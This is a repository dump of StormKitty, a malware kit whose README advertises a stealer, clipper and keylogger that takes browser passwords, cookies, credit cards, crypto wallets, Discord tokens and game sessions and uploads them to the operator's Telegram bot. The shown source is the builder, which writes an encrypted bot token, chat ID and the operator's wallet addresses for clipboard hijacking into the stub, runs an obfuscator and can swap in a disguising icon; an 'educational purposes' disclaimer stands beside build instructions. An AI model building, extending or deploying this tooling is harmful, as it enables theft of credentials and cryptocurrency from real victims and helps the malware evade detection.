├── LICENSE
├── README.md
├── StormKitty-2025-builder
├── StormKittyBuilder.sln
├── StormKittyBuilder
│ ├── App.config
│ ├── Modules
│ │ ├── build
│ │ │ ├── build.cs
│ │ │ ├── icon.cs
│ │ │ └── obfuscation.cs
│ │ ├── cli.cs
│ │ ├── crypt.cs
│ │ └── telegram.cs
│ ├── Program.cs
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── StormKittyBuilder.csproj
│ └── packages.config
└── packages
│ ├── Microsoft.VisualBasic.10.3.0
│ ├── LICENSE.TXT
│ ├── Microsoft.VisualBasic.10.3.0.nupkg
│ ├── THIRD-PARTY-NOTICES.TXT
│ ├── lib
│ │ ├── netcore50
│ │ │ └── Microsoft.VisualBasic.dll
│ │ ├── netstandard1.3
│ │ │ └── Microsoft.VisualBasic.dll
│ │ └── netstandard2.0
│ │ │ └── Microsoft.VisualBasic.dll
│ ├── ref
│ │ ├── netcore50
│ │ │ ├── Microsoft.VisualBasic.dll
│ │ │ ├── Microsoft.VisualBasic.xml
│ │ │ ├── de
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── es
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── fr
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── it
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ja
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ko
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ru
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── zh-hans
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ └── zh-hant
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ ├── netstandard1.1
│ │ │ ├── Microsoft.VisualBasic.dll
│ │ │ ├── Microsoft.VisualBasic.xml
│ │ │ ├── de
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── es
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── fr
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── it
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ja
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ko
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ru
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── zh-hans
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ └── zh-hant
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ └── netstandard2.0
│ │ │ ├── Microsoft.VisualBasic.dll
│ │ │ └── Microsoft.VisualBasic.xml
│ └── version.txt
│ └── Mono.Cecil.0.11.2
│ ├── Mono.Cecil.0.11.2.nupkg
│ └── lib
│ └── net40
│ ├── Mono.Cecil.Mdb.dll
│ ├── Mono.Cecil.Mdb.pdb
│ ├── Mono.Cecil.Pdb.dll
│ ├── Mono.Cecil.Pdb.pdb
│ ├── Mono.Cecil.Rocks.dll
│ ├── Mono.Cecil.Rocks.pdb
│ ├── Mono.Cecil.dll
│ └── Mono.Cecil.pdb
└── StormKitty-2025
└── stub
├── Neko
├── App.config
├── Modules
│ ├── Clipper
│ │ ├── Clipboard.cs
│ │ ├── Clipper.cs
│ │ ├── EventManager.cs
│ │ └── Patterns.cs
│ ├── Implant
│ │ ├── AntiAnalysis.cs
│ │ ├── Mutex.cs
│ │ ├── SelfDestruct.cs
│ │ ├── StartDelay.cs
│ │ ├── Startup.cs
│ │ └── StringsCrypt.cs
│ ├── Keylogger
│ │ ├── EventManager.cs
│ │ ├── Keylogger.cs
│ │ └── PornDetection.cs
│ ├── Manager
│ │ ├── AnonFile.cs
│ │ ├── ClipboardManager.cs
│ │ ├── CommandHelper.cs
│ │ ├── Filemanager.cs
│ │ ├── Flags.cs
│ │ ├── LibLoader.cs
│ │ ├── SystemInfo.cs
│ │ ├── Telegram.cs
│ │ └── WindowManager.cs
│ └── Passwords
│ │ ├── Helpers
│ │ ├── Banking.cs
│ │ ├── Common.cs
│ │ ├── Counter.cs
│ │ ├── Paths.cs
│ │ ├── Report.cs
│ │ ├── SQLite.cs
│ │ └── SqlReader.cs
│ │ ├── Stealer.cs
│ │ └── Targets
│ │ ├── Browsers
│ │ ├── BrowserUtils.cs
│ │ ├── Chromium
│ │ │ ├── AesGcm.cs
│ │ │ ├── AutoFill.cs
│ │ │ ├── BCrypt.cs
│ │ │ ├── Bookmarks.cs
│ │ │ ├── Chromium.cs
│ │ │ ├── Cookies.cs
│ │ │ ├── CreditCards.cs
│ │ │ ├── Downloads.cs
│ │ │ ├── History.cs
│ │ │ └── Passwords.cs
│ │ ├── Edge
│ │ │ ├── AutoFill.cs
│ │ │ ├── Bookmarks.cs
│ │ │ ├── CreditCards.cs
│ │ │ └── Edge.cs
│ │ ├── Firefox
│ │ │ ├── Bookmarks.cs
│ │ │ ├── Cookies.cs
│ │ │ ├── Firefox.cs
│ │ │ ├── History.cs
│ │ │ └── Logins.cs
│ │ └── Internet Explorer
│ │ │ ├── InternetExplorer.cs
│ │ │ ├── Passwords.cs
│ │ │ └── VaultCli.cs
│ │ ├── FileZilla.cs
│ │ ├── Gaming
│ │ ├── Minecraft.cs
│ │ ├── Steam.cs
│ │ └── Uplay.cs
│ │ ├── Messengers
│ │ ├── Discord.cs
│ │ ├── Pidgin.cs
│ │ └── Telegram.cs
│ │ ├── System
│ │ ├── ActiveWindows.cs
│ │ ├── DesktopScreenshot.cs
│ │ ├── DirectoryTree.cs
│ │ ├── ProcessList.cs
│ │ ├── ProductKey.cs
│ │ ├── WebcamScreenshot.cs
│ │ └── Wifi.cs
│ │ ├── VPN
│ │ ├── NordVPN.cs
│ │ ├── OpenVPN.cs
│ │ └── ProtonVPN.cs
│ │ └── Wallets.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── StormKitty.csproj
├── StormKitty.csproj.user
├── config.cs
└── packages.config
├── StormKitty.sln
└── packages
└── DotNetZip.1.13.8
├── DotNetZip.1.13.8.nupkg
└── lib
├── net40
├── DotNetZip.dll
├── DotNetZip.pdb
└── DotNetZip.xml
└── netstandard2.0
├── DotNetZip.dll
├── DotNetZip.pdb
└── DotNetZip.xml
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | Stealer + Clipper + Keylogger
4 | Stealer written on C#, logs will be sent to Telegram bot.
5 |
6 |
7 |
8 |
9 | ***
10 |
11 | # :construction: Disclaimer
12 | I, the creator, am not responsible for any actions, and or damages, caused by this software.
13 | You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only.
14 | This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use.
15 | By using this software, you automatically agree to the above.
16 |
17 | ***
18 |
19 | # 🔱 Functions
20 | * AntiAnalysis (VirtualBox, SandBox, Emulator, Debugger, VirusTotal, Any.Run)
21 | * Steal system info (Version, CPU, GPU, RAM, IPs, BSSID, Location, Screen metrics)
22 | * Chromium based browsers (passwords, credit cards, cookies, history, autofill, bookmarks)
23 | * Firefox based browsers (db files, cookies, history, bookmarks)
24 | * Internet explorer/Edge (passwords)
25 | * Saved wifi networks & scan networks around device (SSID, BSSID)
26 | * Detect banking & cryptocurrency services in browsers
27 | * Install keylogger & clipper
28 | * Steam, Uplay, Minecraft session
29 | * Desktop & Webcam screenshot
30 | * ProtonVPN, OpenVPN, NordVPN
31 | * Cryptocurrency Wallets
32 | * Telegram sessions
33 | * Pidgin accounts
34 | * Discord tokens
35 | * Filezilla hosts
36 | * Process list
37 | * Directories structure
38 | * Product key
39 | * Autorun module
40 |
41 | ***
42 |
43 | ## [📦 Download compiled builder and source code](https://github.com/swagkarna/StormKitty/releases/tag/stormkitty-prebuild)
44 |
45 | ***
46 |
47 | # :loudspeaker: Telegram notification[old]:
48 |
49 |
50 |
51 |
52 | ***
53 |
54 | # 📦 Build
55 |
56 | 1. Download build.zip
57 | 2. Open StormKittyBuilder.exe and enter telegram api and chat id
58 | 3. after building you will find exe file in `stub/build.exe` folder
59 | 4. Run `build.exe` make sure `dotnetzip.dll` and build.exe are in same path
60 | 5. All stealed files will be uploaded to your telegram-bot as zip file
61 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35716.79 d17.13
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "StormKittyBuilder", "StormKittyBuilder\StormKittyBuilder.csproj", "{98075331-1F86-48C8-AE29-29DA39A8F98B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Debug|x64.ActiveCfg = Debug|x64
19 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Debug|x64.Build.0 = Debug|x64
20 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Release|x64.ActiveCfg = Release|x64
23 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {8190B6BE-30AA-4602-9817-C138AE3B6651}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/build/build.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using Mono.Cecil;
7 | using Mono.Cecil.Cil;
8 |
9 | using System;
10 | using System.Linq;
11 | using System.Collections.Generic;
12 |
13 | namespace StormKittyBuilder
14 | {
15 | internal sealed class build
16 | {
17 | private static Random random = new Random();
18 |
19 | private static string RandomString(int length)
20 | {
21 | const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
22 | return new string(Enumerable.Repeat(chars, length)
23 | .Select(s => s[random.Next(s.Length)]).ToArray());
24 | }
25 |
26 | public static Dictionary ConfigValues = new Dictionary
27 | {
28 | { "Telegram API", "" },
29 | { "Telegram ID", "" },
30 |
31 | { "AntiAnalysis", "" },
32 | { "Startup", "" },
33 | { "StartDelay", "" },
34 |
35 | { "ClipperBTC", "" },
36 | { "ClipperETH", "" },
37 | { "ClipperXMR", "" },
38 | { "ClipperXRP", "" },
39 | { "ClipperLTC", "" },
40 | { "ClipperBCH", "" },
41 |
42 | { "WebcamScreenshot", "" },
43 | { "Keylogger", "" },
44 | { "Clipper", "" },
45 |
46 | { "Mutex", RandomString(20) },
47 | };
48 |
49 |
50 | // Read stub
51 | private static AssemblyDefinition ReadStub()
52 | {
53 | return AssemblyDefinition.ReadAssembly("stub\\stub.exe");
54 | }
55 |
56 | // Write stub
57 | private static void WriteStub(AssemblyDefinition definition, string filename)
58 | {
59 | definition.Write(filename);
60 | }
61 |
62 | // Replace values in config
63 | private static string ReplaceConfigParams(string value)
64 | {
65 | foreach (KeyValuePair config in ConfigValues)
66 | if (value.Equals($"--- {config.Key} ---"))
67 | return config.Value;
68 |
69 | return value;
70 | }
71 |
72 | // Проходим по всем классам, строкам и заменяем значения.
73 | public static AssemblyDefinition IterValues(AssemblyDefinition definition)
74 | {
75 | foreach (ModuleDefinition definition2 in definition.Modules)
76 | foreach (TypeDefinition definition3 in definition2.Types)
77 | if (definition3.Name.Equals("Config"))
78 | foreach (MethodDefinition definition4 in definition3.Methods)
79 | if (definition4.IsConstructor && definition4.HasBody)
80 | {
81 | IEnumerator enumerator;
82 | enumerator = definition4.Body.Instructions.GetEnumerator();
83 | while (enumerator.MoveNext())
84 | {
85 | var current = enumerator.Current;
86 | if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
87 | {
88 | string str = current.Operand.ToString();
89 | if (str.StartsWith("---") && str.EndsWith("---"))
90 | current.Operand = ReplaceConfigParams(str);
91 | }
92 | }
93 |
94 | }
95 |
96 | return definition;
97 | }
98 |
99 | // Read stub && compile
100 | public static string BuildStub()
101 | {
102 | var definition = ReadStub();
103 | definition = IterValues(definition);
104 | WriteStub(definition, "stub\\build.exe");
105 | return "stub\\build.exe";
106 | }
107 |
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/build/icon.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.IO;
8 | using System.Runtime.InteropServices;
9 | using System.Security;
10 | using Microsoft.VisualBasic.CompilerServices; // Install-Package Microsoft.VisualBasic
11 |
12 | public partial class IconChanger
13 | {
14 | [SuppressUnmanagedCodeSecurity()]
15 | private partial class NativeMethods
16 | {
17 | [DllImport("kernel32")]
18 | public static extern IntPtr BeginUpdateResource(string fileName, [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);
19 |
20 | [DllImport("kernel32")]
21 | public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, int dataSize);
22 |
23 | [DllImport("kernel32")]
24 | public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
25 |
26 | }
27 |
28 | [StructLayout(LayoutKind.Sequential)]
29 | private partial struct ICONDIR
30 | {
31 | public ushort Reserved;
32 | public ushort Type;
33 | public ushort Count;
34 | }
35 |
36 | [StructLayout(LayoutKind.Sequential)]
37 | private partial struct ICONDIRENTRY
38 | {
39 | public byte Width;
40 | public byte Height;
41 | public byte ColorCount;
42 | public byte Reserved;
43 | public ushort Planes;
44 | public ushort BitCount;
45 | public int BytesInRes;
46 | public int ImageOffset;
47 | }
48 |
49 | [StructLayout(LayoutKind.Sequential)]
50 | private partial struct BITMAPINFOHEADER
51 | {
52 | public uint Size;
53 | public int Width;
54 | public int Height;
55 | public ushort Planes;
56 | public ushort BitCount;
57 | public uint Compression;
58 | public uint SizeImage;
59 | public int XPelsPerMeter;
60 | public int YPelsPerMeter;
61 | public uint ClrUsed;
62 | public uint ClrImportant;
63 | }
64 |
65 | [StructLayout(LayoutKind.Sequential, Pack = 2)]
66 | private partial struct GRPICONDIRENTRY
67 | {
68 | public byte Width;
69 | public byte Height;
70 | public byte ColorCount;
71 | public byte Reserved;
72 | public ushort Planes;
73 | public ushort BitCount;
74 | public int BytesInRes;
75 | public ushort ID;
76 | }
77 |
78 | public static void InjectIcon(string exeFileName, string iconFileName)
79 | {
80 | InjectIcon(exeFileName, iconFileName, 1, 1);
81 | }
82 |
83 | public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID)
84 | {
85 | const uint RT_ICON = 3U;
86 | const uint RT_GROUP_ICON = 14U;
87 | var iconFile = IconFile.FromFile(iconFileName);
88 | var hUpdate = NativeMethods.BeginUpdateResource(exeFileName, false);
89 | var data = iconFile.CreateIconGroupData(iconBaseID);
90 | NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_GROUP_ICON), new IntPtr(iconGroupID), 0, data, data.Length);
91 | for (int i = 0, loopTo = iconFile.ImageCount - 1; i <= loopTo; i++)
92 | {
93 | var image = iconFile.get_ImageData(i);
94 | NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_ICON), new IntPtr(iconBaseID + i), 0, image, image.Length);
95 | }
96 |
97 | NativeMethods.EndUpdateResource(hUpdate, false);
98 | }
99 |
100 | private partial class IconFile
101 | {
102 | private ICONDIR iconDir = new ICONDIR();
103 | private ICONDIRENTRY[] iconEntry;
104 | private byte[][] iconImage;
105 |
106 | public int ImageCount
107 | {
108 | get
109 | {
110 | return iconDir.Count;
111 | }
112 | }
113 |
114 | public byte[] get_ImageData(int index)
115 | {
116 | return iconImage[index];
117 | }
118 |
119 | private IconFile()
120 | {
121 | }
122 |
123 | public static IconFile FromFile(string filename)
124 | {
125 | var instance = new IconFile();
126 | var fileBytes = File.ReadAllBytes(filename);
127 | var pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned);
128 | instance.iconDir = (ICONDIR)Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject(), typeof(ICONDIR));
129 | instance.iconEntry = new ICONDIRENTRY[instance.iconDir.Count];
130 | instance.iconImage = new byte[instance.iconDir.Count][];
131 | int offset = Marshal.SizeOf(instance.iconDir);
132 | var iconDirEntryType = typeof(ICONDIRENTRY);
133 | int size = Marshal.SizeOf(iconDirEntryType);
134 | for (int i = 0, loopTo = instance.iconDir.Count - 1; i <= loopTo; i++)
135 | {
136 | ICONDIRENTRY entry = (ICONDIRENTRY)Marshal.PtrToStructure(new IntPtr(pinnedBytes.AddrOfPinnedObject().ToInt64() + offset), iconDirEntryType);
137 | instance.iconEntry[i] = entry;
138 | instance.iconImage[i] = new byte[entry.BytesInRes];
139 | Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage[i], 0, entry.BytesInRes);
140 | offset += size;
141 | }
142 |
143 | pinnedBytes.Free();
144 | return instance;
145 | }
146 |
147 | public byte[] CreateIconGroupData(uint iconBaseID)
148 | {
149 | int sizeOfIconGroupData = Marshal.SizeOf(typeof(ICONDIR)) + Marshal.SizeOf(typeof(GRPICONDIRENTRY)) * ImageCount;
150 | var data = new byte[sizeOfIconGroupData];
151 | var pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned);
152 | Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject(), false);
153 | int offset = Marshal.SizeOf(iconDir);
154 | for (int i = 0, loopTo = ImageCount - 1; i <= loopTo; i++)
155 | {
156 | var grpEntry = new GRPICONDIRENTRY();
157 | var bitmapheader = new BITMAPINFOHEADER();
158 | var pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned);
159 | Marshal.Copy(get_ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject(), Marshal.SizeOf(typeof(BITMAPINFOHEADER)));
160 | pinnedBitmapInfoHeader.Free();
161 | grpEntry.Width = iconEntry[i].Width;
162 | grpEntry.Height = iconEntry[i].Height;
163 | grpEntry.ColorCount = iconEntry[i].ColorCount;
164 | grpEntry.Reserved = iconEntry[i].Reserved;
165 | grpEntry.Planes = bitmapheader.Planes;
166 | grpEntry.BitCount = bitmapheader.BitCount;
167 | grpEntry.BytesInRes = iconEntry[i].BytesInRes;
168 | grpEntry.ID = Conversions.ToUShort(iconBaseID + i);
169 | Marshal.StructureToPtr(grpEntry, new IntPtr(pinnedData.AddrOfPinnedObject().ToInt64() + offset), false);
170 | offset += Marshal.SizeOf(typeof(GRPICONDIRENTRY));
171 | }
172 |
173 | pinnedData.Free();
174 | return data;
175 | }
176 | }
177 | }
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/build/obfuscation.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.IO;
8 | using System.Reflection;
9 | using System.Diagnostics;
10 |
11 | namespace StormKittyBuilder
12 | {
13 | internal sealed class obfuscation
14 | {
15 | // Current directory
16 | private static string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
17 | private static string WorkingDir = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
18 |
19 | // Write confuzer settings
20 | private static string WriteSettings(string file)
21 | {
22 | string settings = Path.GetTempFileName() + ".crproj";
23 | string contents = $"";
24 | File.WriteAllText(settings, contents);
25 | return settings;
26 | }
27 |
28 | // Run confuzer
29 | private static string Confuzer(string settings)
30 | {
31 | ProcessStartInfo startInfo = new ProcessStartInfo
32 | {
33 | FileName = "cmd.exe",
34 | Arguments = "/C title Confuzer && color f && obfuscator\\Confuser.CLI.exe -n " + settings + " && timeout /t 7",
35 | };
36 | Console.ForegroundColor = ConsoleColor.Cyan;
37 | cli.ShowInfo("Starting obfuscation...");
38 | Process process = Process.Start(startInfo);
39 | process.WaitForExit();
40 | File.Delete("stub\\build.exe");
41 | File.Move("build\\stub\\build.exe", Desktop + "\\build.exe");
42 | Directory.Delete("build", true);
43 |
44 | string result = Desktop + "\\build.exe";
45 | if (File.Exists(result)) return result;
46 | cli.ShowError("Failed to obfuscate stub");
47 | return null;
48 | }
49 |
50 | // Obfuscate executable
51 | public static string Obfuscate(string file)
52 | {
53 | if (!Directory.Exists("obfuscator"))
54 | cli.ShowError("ConfuzeEx directory not found!");
55 |
56 | string settings = WriteSettings(file);
57 | string location = Confuzer(settings);
58 | return location;
59 | }
60 |
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/cli.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.Windows.Forms;
8 |
9 | namespace StormKittyBuilder
10 | {
11 | internal sealed class cli
12 | {
13 | public static string GetBoolValue(string text)
14 | {
15 | Console.ForegroundColor = ConsoleColor.Cyan;
16 | Console.Write("(?) " + text + " (y/n): ");
17 | Console.ForegroundColor = ConsoleColor.White;
18 | string result = Console.ReadLine();
19 | return result.ToUpper() == "Y" ? "1" : "0";
20 | }
21 |
22 | public static string GetStringValue(string text)
23 | {
24 | Console.ForegroundColor = ConsoleColor.Cyan;
25 | Console.Write("(?) " + text + "\n>>> ");
26 | Console.ForegroundColor = ConsoleColor.White;
27 | return Console.ReadLine();
28 | }
29 |
30 | public static string GetEncryptedString(string text)
31 | {
32 | string result = GetStringValue(text);
33 | if (!string.IsNullOrEmpty(result))
34 | return crypt.EncryptConfig(result);
35 |
36 | return "";
37 | }
38 |
39 | public static void ShowError(string text)
40 | {
41 | Console.ForegroundColor = ConsoleColor.Red;
42 | Console.WriteLine("(!) " + text + "\n Press any key to exit...");
43 | Console.ReadLine();
44 | Environment.Exit(1);
45 | }
46 |
47 | public static void ShowInfo(string text)
48 | {
49 | Console.ForegroundColor = ConsoleColor.Yellow;
50 | Console.WriteLine("(i) " + text);
51 | }
52 |
53 | public static void ShowSuccess(string text)
54 | {
55 | Console.ForegroundColor = ConsoleColor.Green;
56 | Console.WriteLine("(+) " + text);
57 | }
58 |
59 | public static string GetIconPath()
60 | {
61 | OpenFileDialog OpenFileDialog = new OpenFileDialog();
62 |
63 | OpenFileDialog.InitialDirectory = ".\\icons";
64 | OpenFileDialog.Filter = "ico files (*.ico)|*.ico|All files (*.*)|*.*";
65 | OpenFileDialog.FilterIndex = 1;
66 | OpenFileDialog.RestoreDirectory = true;
67 |
68 | if (OpenFileDialog.ShowDialog() == DialogResult.OK)
69 | return OpenFileDialog.FileName;
70 |
71 |
72 | return null;
73 | }
74 |
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/crypt.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.IO;
8 | using System.Text;
9 | using System.Security.Cryptography;
10 |
11 | namespace StormKittyBuilder
12 | {
13 | internal sealed class crypt
14 | {
15 | // Salt
16 | private static readonly byte[] saltBytes = new byte[] { 255, 64, 191, 111, 23, 3, 113, 119, 231, 121, 252, 112, 79, 32, 114, 156 };
17 | private static readonly byte[] cryptKey = new byte[] { 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 76, 105, 109, 101, 114, 66, 111, 121, 47, 83, 116, 111, 114, 109, 75, 105, 116, 116, 121 };
18 |
19 | // Encrypt string
20 | public static string EncryptConfig(string value)
21 | {
22 | byte[] encryptedBytes = null;
23 | byte[] bytesToBeEncrypted = Encoding.UTF8.GetBytes(value);
24 |
25 | using (MemoryStream ms = new MemoryStream())
26 | {
27 | using (RijndaelManaged AES = new RijndaelManaged())
28 | {
29 | AES.KeySize = 256;
30 | AES.BlockSize = 128;
31 | var key = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);
32 | AES.Key = key.GetBytes(AES.KeySize / 8);
33 | AES.IV = key.GetBytes(AES.BlockSize / 8);
34 | AES.Mode = CipherMode.CBC;
35 | using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
36 | {
37 | cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
38 | cs.Close();
39 | }
40 | encryptedBytes = ms.ToArray();
41 | }
42 | }
43 | return "ENCRYPTED:" + Convert.ToBase64String(encryptedBytes);
44 | }
45 |
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/telegram.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.Net;
8 |
9 | namespace StormKittyBuilder
10 | {
11 | internal sealed class telegram
12 | {
13 | public static bool SendMessage(string text, string token, string chatid)
14 | {
15 | try
16 | {
17 | using (WebClient c = new WebClient())
18 | {
19 | string response = c.DownloadString(
20 | "https://api.telegram.org/bot" + token + "/sendMessage" +
21 | "?chat_id=" + chatid +
22 | "&text=" + text +
23 | "&parse_mode=Markdown" +
24 | "&disable_web_page_preview=True"
25 | );
26 | return !response.StartsWith("{\"ok\":false");
27 | }
28 | }
29 | catch (Exception ex) {
30 | Console.ForegroundColor = ConsoleColor.DarkRed;
31 | Console.WriteLine(ex);
32 | }
33 | return false;
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Program.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 |
8 | namespace StormKittyBuilder
9 | {
10 | class Program
11 | {
12 | [STAThreadAttribute]
13 | static void Main(string[] args)
14 | {
15 | // Settings
16 | string token = cli.GetStringValue("Telegram API token");
17 | string chatid = cli.GetStringValue("Telegram chat ID");
18 | // Test connection to telegram API
19 | if (!telegram.SendMessage("✅ *StormKitty* builder connected successfully!", token, chatid))
20 | cli.ShowError("Failed connect to telegram bot api!");
21 | else
22 | cli.ShowSuccess("Connected successfully!\n");
23 |
24 | // Encrypt values
25 | build.ConfigValues["Telegram API"] = crypt.EncryptConfig(token);
26 | build.ConfigValues["Telegram ID"] = crypt.EncryptConfig(chatid);
27 | // Installation
28 | build.ConfigValues["AntiAnalysis"] = cli.GetBoolValue("Use anti analysis?");
29 | build.ConfigValues["Startup"] = cli.GetBoolValue("Install autorun?");
30 | build.ConfigValues["StartDelay"] = cli.GetBoolValue("Use random start delay?");
31 | // Modules
32 | if(build.ConfigValues["Startup"].Equals("1")) {
33 | build.ConfigValues["WebcamScreenshot"] = cli.GetBoolValue("Create webcam screenshots?");
34 | build.ConfigValues["Keylogger"] = cli.GetBoolValue("Install keylogger?");
35 | build.ConfigValues["Clipper"] = cli.GetBoolValue("Install clipper?");
36 | }
37 | // Clipper addresses
38 | if (build.ConfigValues["Clipper"].Equals("1"))
39 | {
40 | build.ConfigValues["ClipperBTC"] = cli.GetEncryptedString("Clipper : Your bitcoin address");
41 | build.ConfigValues["ClipperETH"] = cli.GetEncryptedString("Clipper : Your etherium address");
42 | build.ConfigValues["ClipperXMR"] = cli.GetEncryptedString("Clipper : Your monero address");
43 | build.ConfigValues["ClipperXRP"] = cli.GetEncryptedString("Clipper : Your ripple address");
44 | build.ConfigValues["ClipperLTC"] = cli.GetEncryptedString("Clipper : Your litecoin address");
45 | build.ConfigValues["ClipperBCH"] = cli.GetEncryptedString("Clipper : Your bitcoin cash address");
46 | }
47 | // Build
48 | string builded = build.BuildStub();
49 |
50 | Console.ReadLine();
51 | }
52 | }
53 | }
54 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Общие сведения об этой сборке предоставляются следующим набором
6 | // набора атрибутов. Измените значения этих атрибутов для изменения сведений,
7 | // связанные с этой сборкой.
8 | [assembly: AssemblyTitle("StormKittyBuilder")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("StormKittyBuilder")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
